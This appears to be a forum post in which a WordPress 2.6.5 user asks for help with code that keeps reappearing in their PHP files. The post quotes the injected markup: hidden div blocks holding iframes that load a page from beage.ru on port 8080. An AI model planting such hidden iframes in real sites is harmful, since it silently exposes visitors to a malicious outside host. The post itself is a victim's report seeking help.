Seeking help for an unknown problem

Hi, I’m a newbie using WordPress 2.6.5 and I’ve encountered this problem that made me reinstall my WP for 3 times. It’s like someone was injecting a backdoor code (maybe..) to my default-filters.php,index.php, and my template index.php, wiping out a few important part of the code, altering the code structure and in the end making me reinstall my WP again. I really don’t know what to do about this problem, as I am a newbie and not well versed in PHP.The code that are pasted in to my php file looks like this :

<div style="display:none">rkibrbrqijquhfgnknciwdfquaafyeg<iframe width=409 height=327 src="https://be-tes
<div style="display:none">eyoizdcwxtkeatinsgeqiengzuzeysu<iframe width=411 height=396 src="https://beage.ru:8080/index.php" ></iframe></div>

<div style="display:none">yloboshjtmuobhdfkiwevgwruhoaput</d
<div style="display:none">rkibrbrqijquhfgnknciwdfquaafyeg</
<div style="display:none">eyoizdcwxtkeatinsgeqiengzuzeysu<
<div style="display:none">xhyziuzonhvzlirubdegrgdpzenijyk<iframe width=782 height=263 src="https://beage.ru:8080/index.php" ></iframe></div>

I do not know what it means but it seems like someone was trying to embed something to my WP. I’ve tried to delete it, however after 15 minutes the code keep reappearing and my blog crashed again and again. Please help me. I am really really frustrated.